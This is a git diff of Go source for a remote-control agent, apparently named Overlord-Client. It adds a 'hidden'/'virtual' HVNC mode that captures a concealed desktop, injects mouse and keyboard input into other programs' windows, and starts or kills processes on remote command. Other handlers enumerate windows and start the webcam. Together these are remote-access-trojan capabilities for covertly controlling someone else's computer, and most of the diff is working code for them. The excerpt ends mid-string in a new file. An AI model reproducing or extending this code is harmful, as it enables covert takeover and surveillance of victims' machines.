{ + if hitTest == HTCLOSE { + return nil + } + + if hitTest == HTCAPTION { + var r rect + if ok, _, _ := procGetWindowRect.Call(ncHwnd, uintptr(unsafe.Pointer(&r))); ok != 0 { + virtualInputMu.Lock() + virtualMovingWindow = true + virtualWindowToMove = ncHwnd + virtualMoveOffset = point{x: pt.x - r.left, y: pt.y - r.top} + virtualWindowSize = point{x: r.right - r.left, y: r.bottom - r.top} + virtualInputMu.Unlock() + } + return nil + } + if isVirtualResizeHit(hitTest) { + var r rect + if ok, _, _ := procGetWindowRect.Call(ncHwnd, uintptr(unsafe.Pointer(&r))); ok != 0 { + virtualInputMu.Lock() + virtualResizingWindow = ncHwnd + virtualResizeHit = hitTest + virtualResizeStart = pt + virtualResizeRect = r + virtualInputMu.Unlock() + } + return nil + } + + if hitTest == HTMAXBUTTON { + return nil + } + + if hitTest == HTMINBUTTON { + return nil + } + } + } + + clientPt := pt + procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt))) + + msg := uint32(WM_LBUTTONDOWN) + wparam := uintptr(MK_LBUTTON) + switch button { + case 1: + msg = WM_MBUTTONDOWN + wparam = MK_MBUTTON + case 2: + msg = WM_RBUTTONDOWN + wparam = MK_RBUTTON + } + + procPostMessageW.Call(hitHwnd, uintptr(msg), wparam, makeLParam(clientPt.x, clientPt.y)) + return nil +} + +func VirtualInputMouseUp(button int) error { + pt := virtualCurrentCursor() + + if button == 0 { + endVirtualWindowDrag(pt) + endVirtualWindowResize() + } + virtualSetMouseButton(button, false) + + hitHwnd := windowFromPoint(pt) + if hitHwnd == 0 { + return nil + } + + if button == 0 { + lparam := makeLParam(pt.x, pt.y) + ncHwnd := rootWindow(hitHwnd) + hitTest := safeNCHitTest(ncHwnd, lparam) + + if hitTest == HTCLOSE { + procPostMessageW.Call(ncHwnd, WM_CLOSE, 0, 0) + return nil + } + if hitTest == HTMAXBUTTON { + if isWindowMaximized(ncHwnd) { + procPostMessageW.Call(ncHwnd, WM_SYSCOMMAND, SC_RESTORE, 0) + } else { + procPostMessageW.Call(ncHwnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0) + } + return nil + } + if hitTest == HTMINBUTTON { + procPostMessageW.Call(ncHwnd, WM_SYSCOMMAND, SC_MINIMIZE, 0) + return nil + } + } + + clientPt := pt + procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt))) + + msg := uint32(WM_LBUTTONUP) + wparam := uintptr(0) + switch button { + case 1: + msg = WM_MBUTTONUP + case 2: + msg = WM_RBUTTONUP + } + + procPostMessageW.Call(hitHwnd, uintptr(msg), wparam, makeLParam(clientPt.x, clientPt.y)) + return nil +} + +func VirtualInputKeyDown(vk uint16) error { + pt := virtualCurrentCursor() + hwnd := windowFromPoint(pt) + if hwnd == 0 { + hwnd = foregroundWindow() + } + if hwnd == 0 { + hwnd = virtualGetWorkingWindow() + } + if hwnd == 0 { + hwnd = findAnyVisibleTopLevelWindow() + } + if hwnd == 0 { + return nil + } + root := rootWindow(hwnd) + prevWorking := virtualGetWorkingWindow() + virtualRememberWorkingWindow(root) + prevRoot := rootWindow(prevWorking) + if prevWorking == 0 || (prevRoot != root && !sameProcessWindows(prevRoot, root)) { + procSetForegroundWindow.Call(root) + procSetActiveWindow.Call(root) + procSetFocus.Call(hwnd) + } + virtualUpdateModifierState(vk, true) + + if isModifierVK(vk) { + return nil + } + + if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) { + for _, r := range ch { + procPostMessageW.Call(hwnd, WM_CHAR, uintptr(r), uintptr(1)) + } + } else { + scan := mapVirtualKey(uint32(vk)) + lparam := uintptr(1 | (scan << 16)) + procPostMessageW.Call(hwnd, WM_KEYDOWN, uintptr(vk), lparam) + } + return nil +} + +func VirtualInputKeyUp(vk uint16) error { + pt := virtualCurrentCursor() + hwnd := windowFromPoint(pt) + if hwnd == 0 { + hwnd = foregroundWindow() + } + if hwnd == 0 { + hwnd = virtualGetWorkingWindow() + } + if hwnd == 0 { + return nil + } + virtualUpdateModifierState(vk, false) + + if isModifierVK(vk) { + return nil + } + + scan := mapVirtualKey(uint32(vk)) + lparam := uintptr(1 | (scan << 16) | (1 << 30) | (1 << 31)) + procPostMessageW.Call(hwnd, WM_KEYUP, uintptr(vk), lparam) + return nil +} + +func VirtualInputMouseWheel(delta int32) error { + pt := virtualCurrentCursor() + hwnd := windowFromPoint(pt) + if hwnd == 0 { + hwnd = virtualGetWorkingWindow() + if hwnd == 0 { + return nil + } + } + + wparam := (uintptr(uint16(delta)) << 16) | uintptr(virtualCurrentMouseButtons()) + procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(pt.x, pt.y)) + return nil +} + +func virtualCurrentCursor() point { + virtualInputMu.Lock() + if virtualHasCursor { + pt := virtualLastCursor + virtualInputMu.Unlock() + return pt + } + virtualInputMu.Unlock() + var pt point + procGetCursorPosHVNC.Call(uintptr(unsafe.Pointer(&pt))) + return pt +} + +func virtualGetWorkingWindow() uintptr { + virtualInputMu.Lock() + defer virtualInputMu.Unlock() + return virtualWorkingWindow +} + +func virtualRememberWorkingWindow(hwnd uintptr) { + if hwnd == 0 { + return + } + virtualInputMu.Lock() + virtualWorkingWindow = hwnd + virtualInputMu.Unlock() +} + +func virtualCurrentMouseButtons() uint32 { + virtualInputMu.Lock() + defer virtualInputMu.Unlock() + return virtualMouseButtons +} + +func virtualSetMouseButton(button int, down bool) uint32 { + virtualInputMu.Lock() + defer virtualInputMu.Unlock() + var mask uint32 + switch button { + case 0: + mask = MK_LBUTTON + case 1: + mask = MK_MBUTTON + case 2: + mask = MK_RBUTTON + default: + return virtualMouseButtons + } + if down { + virtualMouseButtons |= mask + } else { + virtualMouseButtons &^= mask + } + return virtualMouseButtons +} + +func virtualUpdateModifierState(vk uint16, down bool) { + virtualInputMu.Lock() + defer virtualInputMu.Unlock() + switch vk { + case VK_SHIFT, VK_LSHIFT, VK_RSHIFT: + virtualShiftDown = down + case VK_CONTROL, VK_LCONTROL, VK_RCONTROL: + virtualCtrlDown = down + case VK_MENU, VK_LMENU, VK_RMENU: + virtualAltDown = down + case VK_CAPITAL: + if down { + virtualCapsLock = !virtualCapsLock + } + } +} + +func moveVirtualWindowIfDragging(screenPt point) { + virtualInputMu.Lock() + moving := virtualMovingWindow + hwnd := virtualWindowToMove + offset := virtualMoveOffset + size := virtualWindowSize + virtualInputMu.Unlock() + if !moving || hwnd == 0 { + return + } + newX := int32(screenPt.x) - offset.x + newY := int32(screenPt.y) - offset.y + procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(size.x), uintptr(size.y), 0) +} + +func isVirtualResizeHit(hit int32) bool { + return hit >= 10 && hit <= 17 // HTLEFT through HTBOTTOMRIGHT +} + +func resizeVirtualWindowIfDragging(screenPt point) { + virtualInputMu.Lock() + hwnd, hit := virtualResizingWindow, virtualResizeHit + start, r := virtualResizeStart, virtualResizeRect + virtualInputMu.Unlock() + if hwnd == 0 || !isVirtualResizeHit(hit) { + return + } + dx, dy := screenPt.x-start.x, screenPt.y-start.y + left, top, right, bottom := r.left, r.top, r.right, r.bottom + switch hit { + case 10, 13, 16: + left += dx + case 11, 14, 17: + right += dx + } + switch hit { + case 12, 13, 14: + top += dy + case 15, 16, 17: + bottom += dy + } + const minW, minH = int32(120), int32(80) + if right-left < minW { + if hit == 10 || hit == 13 || hit == 16 { left = right-minW } else { right = left+minW } + } + if bottom-top < minH { + if hit == 12 || hit == 13 || hit == 14 { top = bottom-minH } else { bottom = top+minH } + } + procSetWindowPos.Call(hwnd, 0, uintptr(left), uintptr(top), uintptr(right-left), uintptr(bottom-top), 0x0010|0x0040) +} + +func endVirtualWindowResize() { + virtualInputMu.Lock() + virtualResizingWindow = 0 + virtualResizeHit = 0 + virtualInputMu.Unlock() +} + +func endVirtualWindowDrag(screenPt point) { + virtualInputMu.Lock() + moving := virtualMovingWindow + hwnd := virtualWindowToMove + offset := virtualMoveOffset + size := virtualWindowSize + virtualMovingWindow = false + virtualWindowToMove = 0 + virtualInputMu.Unlock() + if !moving || hwnd == 0 { + return + } + newX := int32(screenPt.x) - offset.x + newY := int32(screenPt.y) - offset.y + procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(size.x), uintptr(size.y), 0) +} + +var ( + virtualNoWindowLogNs atomic.Int64 + virtualCapImg *image.RGBA +) + +func VirtualCaptureDisplayFallback() (*image.RGBA, error) { + captureMu.Lock() + defer captureMu.Unlock() + + setDPIAware() + + bounds := virtualMonitorBounds + srcW := bounds.Dx() + srcH := bounds.Dy() + if srcW <= 0 || srcH <= 0 { + return nil, syscall.EINVAL + } + + userScale := effectiveScale(srcW, srcH) + dstW := int(float64(srcW) * userScale) + dstH := int(float64(srcH) * userScale) + if dstW <= 0 || dstH <= 0 { + dstW = srcW + dstH = srcH + } + + capW := srcW + capH := srcH + + hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH) + if !ok { + return nil, syscall.EINVAL + } + + for i := range buf { + buf[i] = 0 + } + + drawn := drawVirtualWindowsToBuffer(hdcScreen, bounds, buf, capW*4) + if drawn == 0 { + now := time.Now().UnixNano() + last := virtualNoWindowLogNs.Load() + if now-last > int64(5*time.Second) && virtualNoWindowLogNs.CompareAndSwap(last, now) { + log.Printf("virtual capture: no windows drawn for bounds=%v", bounds) + } + } + + swapRB(buf) + + img := virtualCapImg + if img == nil || img.Bounds().Dx() != capW || img.Bounds().Dy() != capH { + img = image.NewRGBA(image.Rect(0, 0, capW, capH)) + virtualCapImg = img + } + copy(img.Pix, buf) + + _ = hdcMem + + if dstW != capW || dstH != capH { + img = resizeNearest(img, dstW, dstH) + } + + return img, nil +} + +func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, target []byte, targetStride int) int { + hwnd := getTopWindow(0) + if hwnd == 0 { + return 0 + } + hwnd = getWindow(hwnd, GW_HWNDLAST) + if hwnd == 0 { + return 0 + } + + if hvncWinCache == nil { + hvncWinCache = make(map[uintptr]*hvncWinCacheEntry) + } + + alive := make(map[uintptr]bool) + drawn := 0 + + for hwnd != 0 { + var r rect + ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&r))) + if ok == 0 || r.right <= r.left || r.bottom <= r.top { + alive[hwnd] = true + hwnd = getWindow(hwnd, GW_HWNDPREV) + continue + } + + winLeft := int(r.left) + winTop := int(r.top) + winRight := int(r.right) + winBottom := int(r.bottom) + + if winRight <= bounds.Min.X || winLeft >= bounds.Max.X || winBottom <= bounds.Min.Y || winTop >= bounds.Max.Y { + alive[hwnd] = true + hwnd = getWindow(hwnd, GW_HWNDPREV) + continue + } + + if !isWindowVisible(hwnd) { + alive[hwnd] = true + hwnd = getWindow(hwnd, GW_HWNDPREV) + continue + } + + if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) { + drawn++ + } + alive[hwnd] = true + hwnd = getWindow(hwnd, GW_HWNDPREV) + } + + for h, entry := range hvncWinCache { + if !alive[h] { + hvncFreeCacheEntry(entry) + delete(hvncWinCache, h) + } + } + + return drawn +} diff --git a/Overlord-Client/cmd/agent/capture/win_duplication.go b/Overlord-Client/cmd/agent/capture/win_duplication.go index aa46aa9..fe375f0 100644 --- a/Overlord-Client/cmd/agent/capture/win_duplication.go +++ b/Overlord-Client/cmd/agent/capture/win_duplication.go @@ -152,6 +152,25 @@ func (a *idxgiAdapter1) EnumOutputs(index uint32, output **idxgiOutput) uintptr return callSyscallN(a.lpVtbl.EnumOutputs, uintptr(unsafe.Pointer(a)), uintptr(index), uintptr(unsafe.Pointer(output))) } +func (a *idxgiAdapter1) GetDesc1(desc *dxgiAdapterDesc1) uintptr { + return callSyscallN(a.lpVtbl.GetDesc1, uintptr(unsafe.Pointer(a)), uintptr(unsafe.Pointer(desc))) +} + +type dxgiAdapterDesc1 struct { + Description [128]uint16 + VendorId uint32 + DeviceId uint32 + SubSysId uint32 + Revision uint32 + DedicatedVideoMemory uint64 + DedicatedSystemMemory uint64 + SharedSystemMemory uint64 + AdapterLuid [8]byte + Flags uint32 +} + +const dxgiAdapterFlagSoftware = 0x2 + type dxgiOutputDesc struct { DeviceName [32]uint16 DesktopCoordinates rect diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index a688820..3543f78 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1009,10 +1009,43 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in case "hvnc_start": payload, _ := envelope["payload"].(map[string]interface{}) autoStartExplorer := false + VirtualMode := false if payload != nil { if v, ok := payload["autoStartExplorer"].(bool); ok { autoStartExplorer = v } + if v, ok := payload["virtual_mode"].(bool); ok { + VirtualMode = v + } + } + if VirtualMode { + env.VirtualMu.Lock() + if env.VirtualCancel != nil { + env.VirtualCancel() + waitStreamStop(env.VirtualDone, "hidden") + } + hiddenCtx, cancel := context.WithCancel(ctx) + env.VirtualCancel = cancel + done := make(chan struct{}) + env.VirtualDone = done + goSafe("hidden stream", env.Cancel, func() { + log.Printf("hidden: start requested (autoStartExplorer=%v)", autoStartExplorer) + if err := capture.InitializeVirtualMode(); err != nil { + log.Printf("hidden: initialization failed: %v", err) + close(done) + return + } + if autoStartExplorer { + if _, err := capture.StartVirtualProcess("explorer.exe"); err != nil { + log.Printf("hidden: auto-start explorer error: %v", err) + } + } + _ = VirtualStart(hiddenCtx, env) + close(done) + }) + env.VirtualMu.Unlock() + sendCommandResultSafe(env, cmdID, true, "") + return nil } env.HVNCMu.Lock() if env.HVNCCancel != nil { @@ -1032,6 +1065,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, true, "") return nil case "hvnc_stop": + if env.VirtualCancel != nil { + env.VirtualMu.Lock() + log.Printf("hidden: stop requested") + env.VirtualMouseControl = false + env.VirtualKeyboardControl = false + env.VirtualCursorCapture = false + if env.VirtualCancel != nil { + env.VirtualCancel() + } + waitStreamStop(env.VirtualDone, "hidden") + env.VirtualCancel = nil + env.VirtualDone = nil + env.VirtualMu.Unlock() + sendCommandResultSafe(env, cmdID, true, "") + return nil + } env.HVNCMu.Lock() log.Printf("hvnc: stop requested") env.HVNCMouseControl = false @@ -1080,6 +1129,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in enabled = v } } + if env.VirtualCancel != nil { + log.Printf("hidden: mouse control %v", enabled) + _ = VirtualMouseControl(ctx, env, enabled) + sendCommandResultSafe(env, cmdID, true, "") + return nil + } log.Printf("hvnc: mouse control %v", enabled) _ = HVNCMouseControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") @@ -1092,6 +1147,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in enabled = v } } + if env.VirtualCancel != nil { + log.Printf("hidden: keyboard control %v", enabled) + _ = VirtualKeyboardControl(ctx, env, enabled) + sendCommandResultSafe(env, cmdID, true, "") + return nil + } log.Printf("hvnc: keyboard control %v", enabled) _ = HVNCKeyboardControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") @@ -1104,6 +1165,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in enabled = v } } + if env.VirtualCancel != nil { + log.Printf("hidden: cursor capture %v", enabled) + _ = VirtualCursorControl(ctx, env, enabled) + sendCommandResultSafe(env, cmdID, true, "") + return nil + } log.Printf("hvnc: cursor capture %v", enabled) _ = HVNCCursorControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") @@ -1152,7 +1219,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in fps = v } } - fps = SetHVNCTargetFPS(fps) + if env.VirtualCancel != nil { + fps = SetVirtualTargetFPS(fps) + } else { + // Also seed virtual mode so a setting sent immediately before + // hvnc_start is retained when that start selects virtual mode. + fps = SetHVNCTargetFPS(fps) + SetVirtualTargetFPS(fps) + } log.Printf("hvnc: set target fps=%d", fps) sendCommandResultSafe(env, cmdID, true, "") return nil @@ -1178,10 +1252,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, true, "") return nil case "hvnc_mouse_move": - if !env.HVNCMouseControl { - sendCommandResultSafe(env, cmdID, true, "") - return nil - } payload, _ := envelope["payload"].(map[string]interface{}) x, y := int32(0), int32(0) if payload != nil { @@ -1238,10 +1308,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in y = int32(v) } } + if env.VirtualCancel != nil { + if !env.VirtualMouseControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + capture.VirtualInputMouseMove(x, y) + return nil + } + if !env.HVNCMouseControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseMove, display: env.HVNCSelectedDisplay, x: x, y: y}) return nil case "hvnc_mouse_down": - if !env.HVNCMouseControl { + if env.VirtualCancel == nil && !env.HVNCMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } @@ -1328,10 +1410,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in y = int32(v) } } + if env.VirtualCancel != nil { + if !env.VirtualMouseControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + _ = capture.VirtualInputMouseMove(x, y) + _ = capture.VirtualInputMouseDown(btn) + return nil + } enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseDown, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y}) return nil case "hvnc_mouse_up": - if !env.HVNCMouseControl { + if env.VirtualCancel == nil && !env.HVNCMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } @@ -1418,10 +1509,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in y = int32(v) } } + if env.VirtualCancel != nil { + if !env.VirtualMouseControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + _ = capture.VirtualInputMouseMove(x, y) + _ = capture.VirtualInputMouseUp(btn) + return nil + } enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseUp, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y}) return nil case "hvnc_mouse_wheel": - if !env.HVNCMouseControl { + if env.VirtualCancel == nil && !env.HVNCMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } @@ -1508,10 +1608,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in y = int32(v) } } + if env.VirtualCancel != nil { + if !env.VirtualMouseControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + _ = capture.VirtualInputMouseMove(x, y) + _ = capture.VirtualInputMouseWheel(delta) + return nil + } enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseWheel, display: env.HVNCSelectedDisplay, delta: delta, x: x, y: y}) return nil case "hvnc_key_down": - if !env.HVNCKeyboardControl { + if env.VirtualCancel == nil && !env.HVNCKeyboardControl { sendCommandResultSafe(env, cmdID, true, "") return nil } @@ -1523,11 +1632,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } } if vk := keyCodeToVKHVNC(code); vk != 0 { + if env.VirtualCancel != nil { + if !env.VirtualKeyboardControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + capture.VirtualInputKeyDown(vk) + return nil + } enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyDown, vk: vk}) } return nil case "hvnc_key_up": - if !env.HVNCKeyboardControl { + if env.VirtualCancel == nil && !env.HVNCKeyboardControl { sendCommandResultSafe(env, cmdID, true, "") return nil } @@ -1539,6 +1656,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } } if vk := keyCodeToVKHVNC(code); vk != 0 { + if env.VirtualCancel != nil { + if !env.VirtualKeyboardControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + capture.VirtualInputKeyUp(vk) + return nil + } enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyUp, vk: vk}) } return nil @@ -1562,6 +1687,20 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in display = int(v) } } + if env.VirtualCancel != nil { + log.Printf("hidden: start process %q", filePath) + sendCommandResultSafe(env, cmdID, true, "") + goSafe("virtual_start_process", nil, func() { + if killExe != "" { + out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput() + log.Printf("hidden: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err) + } + if _, err := capture.StartVirtualProcess(filePath); err != nil { + log.Printf("hidden: start process failed for %q: %v", filePath, err) + } + }) + return nil + } log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display) sendCommandResultSafe(env, cmdID, true, "") goSafe("hvnc_start_process", nil, func() { @@ -1593,6 +1732,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in return nil case "hvnc_kill_all": + if env.VirtualCancel != nil { + log.Printf("hidden: kill all processes on virtual monitor") + sendCommandResultSafe(env, cmdID, true, "") + goSafe("virtual_kill_all", nil, func() { + if err := capture.VirtualKillAll(); err != nil { + log.Printf("hidden: kill all failed: %v", err) + } + }) + return nil + } log.Printf("hvnc: kill all processes on hidden desktop") sendCommandResultSafe(env, cmdID, true, "") goSafe("hvnc_kill_all", nil, func() { @@ -1856,6 +2005,281 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in }) return nil + // ==================== HIDDEN MODE COMMANDS ==================== + case "virtual_start": + payload, _ := envelope["payload"].(map[string]interface{}) + autoStartExplorer := false + if payload != nil { + if v, ok := payload["autoStartExplorer"].(bool); ok { + autoStartExplorer = v + } + } + env.VirtualMu.Lock() + if env.VirtualCancel != nil { + env.VirtualCancel() + waitStreamStop(env.VirtualDone, "hidden") + } + hiddenCtx, cancel := context.WithCancel(ctx) + env.VirtualCancel = cancel + done := make(chan struct{}) + env.VirtualDone = done + goSafe("hidden stream", env.Cancel, func() { + log.Printf("hidden: start requested (autoStartExplorer=%v)", autoStartExplorer) + if err := capture.InitializeVirtualMode(); err != nil { + log.Printf("hidden: initialization failed: %v", err) + close(done) + return + } + if autoStartExplorer { + if _, err := capture.StartVirtualProcess("explorer.exe"); err != nil { + log.Printf("hidden: auto-start explorer error: %v", err) + } + } + _ = VirtualStart(hiddenCtx, env) + close(done) + }) + env.VirtualMu.Unlock() + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "virtual_stop": + env.VirtualMu.Lock() + log.Printf("hidden: stop requested") + env.VirtualMouseControl = false + env.VirtualKeyboardControl = false + env.VirtualCursorCapture = false + if env.VirtualCancel != nil { + env.VirtualCancel() + } + waitStreamStop(env.VirtualDone, "hidden") + env.VirtualCancel = nil + env.VirtualDone = nil + env.VirtualMu.Unlock() + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "virtual_enable_mouse": + payload, _ := envelope["payload"].(map[string]interface{}) + enabled := true + if payload != nil { + if v, ok := payload["enabled"].(bool); ok { + enabled = v + } + } + log.Printf("hidden: mouse control %v", enabled) + _ = VirtualMouseControl(ctx, env, enabled) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "virtual_enable_keyboard": + payload, _ := envelope["payload"].(map[string]interface{}) + enabled := true + if payload != nil { + if v, ok := payload["enabled"].(bool); ok { + enabled = v + } + } + log.Printf("hidden: keyboard control %v", enabled) + _ = VirtualKeyboardControl(ctx, env, enabled) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "virtual_enable_cursor": + payload, _ := envelope["payload"].(map[string]interface{}) + enabled := false + if payload != nil { + if v, ok := payload["enabled"].(bool); ok { + enabled = v + } + } + log.Printf("hidden: cursor capture %v", enabled) + _ = VirtualCursorControl(ctx, env, enabled) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "virtual_set_fps": + payload, _ := envelope["payload"].(map[string]interface{}) + fps := 120 + if payload != nil { + if v, ok := payloadInt(payload, "fps"); ok { + fps = v + } + } + fps = SetVirtualTargetFPS(fps) + log.Printf("hidden: set target fps=%d", fps) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "virtual_set_quality": + payload, _ := envelope["payload"].(map[string]interface{}) + quality := 90 + codec := "" + if payload != nil { + if q, ok := payloadInt(payload, "quality"); ok { + quality = q + } + if v, ok := payload["codec"].(string); ok { + codec = v + } + } + log.Printf("hidden: set quality=%d codec=%s", quality, codec) + capture.SetQualityAndCodec(quality, codec) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "virtual_request_keyframe": + log.Printf("hidden: request full frame") + capture.RequestHVNCFullFrame() + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "virtual_mouse_move": + if !env.VirtualMouseControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload, _ := envelope["payload"].(map[string]interface{}) + x, y := int32(0), int32(0) + if payload != nil { + if v, ok := payloadInt32(payload, "x"); ok { + x = v + } + if v, ok := payloadInt32(payload, "y"); ok { + y = v + } + } + capture.VirtualInputMouseMove(x, y) + return nil + case "virtual_mouse_down": + if !env.VirtualMouseControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload, _ := envelope["payload"].(map[string]interface{}) + btn := 0 + if payload != nil { + if v, ok := payload["button"].(float64); ok { + btn = int(v) + } + } + capture.VirtualInputMouseDown(btn) + return nil + case "virtual_mouse_up": + if !env.VirtualMouseControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload, _ := envelope["payload"].(map[string]interface{}) + btn := 0 + if payload != nil { + if v, ok := payload["button"].(float64); ok { + btn = int(v) + } + } + capture.VirtualInputMouseUp(btn) + return nil + case "virtual_mouse_wheel": + if !env.VirtualMouseControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload, _ := envelope["payload"].(map[string]interface{}) + delta := int32(0) + if payload != nil { + if v, ok := payload["delta"].(float64); ok { + delta = int32(v) + } + } + capture.VirtualInputMouseWheel(delta) + return nil + case "virtual_key_down": + if !env.VirtualKeyboardControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload, _ := envelope["payload"].(map[string]interface{}) + code := "" + if payload != nil { + if v, ok := payload["code"].(string); ok { + code = v + } + } + if vk := keyCodeToVKVirtual(code); vk != 0 { + capture.VirtualInputKeyDown(vk) + } + return nil + case "virtual_key_up": + if !env.VirtualKeyboardControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload, _ := envelope["payload"].(map[string]interface{}) + code := "" + if payload != nil { + if v, ok := payload["code"].(string); ok { + code = v + } + } + if vk := keyCodeToVKVirtual(code); vk != 0 { + capture.VirtualInputKeyUp(vk) + } + return nil + case "virtual_start_process": + payload, _ := envelope["payload"].(map[string]interface{}) + filePath := "" + if payload != nil { + if v, ok := payload["path"].(string); ok { + filePath = v + } + } + log.Printf("hidden: start process %q", filePath) + sendCommandResultSafe(env, cmdID, true, "") + goSafe("virtual_start_process", nil, func() { + if _, err := capture.StartVirtualProcess(filePath); err != nil { + log.Printf("hidden: start process failed for %q: %v", filePath, err) + } + }) + return nil + case "virtual_kill_all": + log.Printf("hidden: kill all processes on virtual monitor") + sendCommandResultSafe(env, cmdID, true, "") + goSafe("virtual_kill_all", nil, func() { + if err := capture.VirtualKillAll(); err != nil { + log.Printf("hidden: kill all failed: %v", err) + } + }) + return nil + case "virtual_window_list": + log.Printf("hidden: window list requested") + sendCommandResultSafe(env, cmdID, true, "") + goSafe("virtual_window_list", nil, func() { + windows, monitors := capture.VirtualEnumWindows() + winEntries := make([]wire.HVNCWindowEntry, 0, len(windows)) + for _, w := range windows { + winEntries = append(winEntries, wire.HVNCWindowEntry{ + Title: w.Title, + X: w.X, + Y: w.Y, + Width: w.Width, + Height: w.Height, + PID: w.PID, + ProcessName: w.ProcessName, + Monitor: w.Monitor, + }) + } + monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors)) + for _, m := range monitors { + monEntries = append(monEntries, wire.HVNCMonitorEntry{ + Index: m.Index, + Name: m.Name, + X: m.X, + Y: m.Y, + Width: m.Width, + Height: m.Height, + Primary: m.Primary, + }) + } + _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{ + Type: "hvnc_window_list_result", + Windows: winEntries, + Monitors: monEntries, + }) + log.Printf("hidden: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries)) + }) + return nil + case "webcam_start": env.WebcamMu.Lock() if env.WebcamCancel != nil { diff --git a/Overlord-Client/cmd/agent/handlers/virtual.go b/Overlord-Client/cmd/agent/handlers/virtual.go new file mode 100644 index 0000000..0224fd7 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/virtual.go @@ -0,0 +1,95 @@ +package handlers + +import ( + "context" + "log" + "overlord-client/cmd/agent/capture" + rt "overlord-client/cmd/agent/runtime" + "sync/atomic" + "time" +) + +var ( + virtualTargetFPS atomic.Int64 +) + +func VirtualStart(ctx context.Context, env *rt.Env) error { + fps := activeVirtualTargetFPS() + interval := time.Second / time.Duration(fps) + capture.SetH264TargetFPS(fps) + capture.SetFrameFlowTargetFPS(fps) + log.Printf("virtual: starting stream (target fps %d)", fps) + + if err := capture.InitializeVirtualMode(); err != nil { + log.Printf("virtual: failed to initialize virtual mode: %v", err) + return err + } + defer capture.CleanupVirtualMode() + + ticker := time.NewTicker(interval) + defer ticker.Stop() + currentFPS := fps + for { + select { + case <-ctx.Done(): + log.Printf("virtual: stopping stream") + return nil + case <-ticker.C: + fps := activeVirtualTargetFPS() + if fps != currentFPS { + currentFPS = fps + capture.SetH264TargetFPS(fps) + capture.SetFrameFlowTargetFPS(fps) + ticker.Reset(time.Second / time.Duration(fps)) + log.Printf("virtual: target fps changed to 